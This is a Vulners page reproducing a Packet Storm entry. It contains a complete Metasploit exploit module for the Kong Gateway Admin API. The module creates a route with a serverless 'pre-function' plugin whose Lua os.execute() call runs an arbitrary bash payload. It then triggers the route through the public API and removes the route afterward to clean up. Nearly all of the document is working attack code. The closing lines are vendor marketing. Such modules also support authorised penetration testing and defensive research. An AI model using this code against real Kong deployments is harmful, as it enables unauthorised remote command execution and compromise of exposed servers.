Lucene search
K

Kong Gateway Admin API Remote Code Execution

🗓️ 25 Nov 2020 00:00:00Reported by Graeme RobinsonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 1081 Views

Kong Gateway Admin API Remote Code Execution using Lua os.execute() creating route, serverless function plugin, and deleting the

Code
`# frozen_string_literal: true  
  
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'Kong Gateway Admin API Remote Code Execution',  
'Description' => '  
This module uses the Kong admin API to create a route and a serverless function plugin that is associated with  
the route. The plugin runs Lua code and is used to run a system command using os.execute(). After execution the  
route is deleted, which also deletes the plugin.',  
'License' => MSF_LICENSE,  
'Author' => ['Graeme Robinson'],  
'References' =>  
[  
['URL', 'https://konghq.com/'],  
['URL', 'https://github.com/Kong/kong'],  
['URL', 'https://docs.konghq.com/hub/kong-inc/serverless-functions/']  
],  
'Platform' => %w[linux macos],  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' =>  
[[  
'Unix (In-Memory)',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory  
]],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 13 2020',  
'DefaultOptions' => { 'RPORT' => 8001 },  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]  
}  
))  
register_options(  
[  
OptString.new('PUBLIC-API-RHOST', [false, 'The host where the public API is available, if different to RHOST']),  
OptInt.new('PUBLIC-API-RPORT', [true, 'The port where the public API is available', 8000]),  
OptString.new('TARGETURI', [true, 'URI to the Kong server', '/'])  
],  
self.class  
)  
end  
  
def check_response(response, expected, path, description)  
fail_with(Failure::Unreachable, "No response received from #{path} when #{description}") unless response  
return if response.code == expected  
  
fail_with(Failure::UnexpectedReply,  
"Unexpected response from #{path} when #{description} (received #{response.code}, expected #{expected})")  
end  
  
def create_route  
path = normalize_uri(target_uri.path, 'routes')  
response = send_request_cgi({ 'method' => 'POST', 'uri' => path,  
'vars_post' => { 'name' => @rand_name, 'paths' => '/' + @rand_name } })  
check_response(response, 201, path, 'creating route')  
end  
  
def create_plugin  
# The double square brackets helps to ensure single/double quotes in cmd payload do not interfere with syntax of  
# os.execute Lua function. The ampersand backgrounds the command so that it doesn't cause Kong to hang.  
cmd = %{os.execute([[bash -c "#{payload.encoded}" &]])}  
path = normalize_uri(target_uri.path, 'routes', @rand_name, 'plugins')  
response = send_request_cgi({ 'method' => 'POST', 'uri' => path,  
'vars_post' => { 'name' => 'pre-function', 'config.access' => cmd } })  
check_response(response, 201, path, 'creating plugin')  
end  
  
def request_route  
path = normalize_uri(target_uri.path, @rand_name)  
rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']  
rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']  
retry_count = 0  
begin  
response = send_request_cgi({ 'uri' => path, 'rhost' => rhost, 'rport' => rport })  
check_response(response, 503, path, 'requesting route')  
rescue Msf::Exploit::Failed  
maximum_retries = 3  
if retry_count <= maximum_retries  
retry_count += 1  
print_status("Route not yet available, trying again - attempt #{retry_count}/#{maximum_retries}")  
sleep(retry_count**2)  
retry  
end  
raise  
end  
end  
  
def delete_route  
path = normalize_uri(target_uri.path, 'routes', @rand_name)  
  
# Delete it  
response = send_request_cgi({ 'method' => 'DELETE', 'uri' => path })  
check_response(response, 204, path, 'deleting route')  
  
# Check Whether it deleted  
response = send_request_cgi({ 'uri' => path })  
check_response(response, 404, path, 'verifying that route has been deleted')  
end  
  
def check  
@route_cleanup_required = false  
# Check admin API  
response = send_request_cgi  
return CheckCode::Unknown unless response  
return CheckCode::Safe unless response.get_json_document['tagline'] == 'Welcome to kong'  
  
# Check public API  
rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']  
rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']  
path = normalize_uri(target_uri.path, @rand_name)  
response = send_request_cgi({ 'rport' => rport, 'rhost' => rhost, 'uri' => path })  
return CheckCode::Unknown unless response  
return CheckCode::Safe unless response.get_json_document['message'] == 'no Route matched with those values'  
  
CheckCode::Appears  
end  
  
def exploit  
@rand_name = rand_text_alphanumeric(10)  
@route_cleanup_required = false  
fail_with(Failure::UnexpectedReply, 'Admin API not detected') unless check == CheckCode::Appears  
@route_cleanup_required = true  
create_route  
vprint_good("Created route #{@rand_name}")  
create_plugin  
vprint_good("Created plugin for route #{@rand_name}")  
request_route  
vprint_good("Requested route #{@rand_name} using public API")  
end  
  
def cleanup  
return unless @route_cleanup_required  
  
delete_route  
vprint_good("Deleted route #{@rand_name}")  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation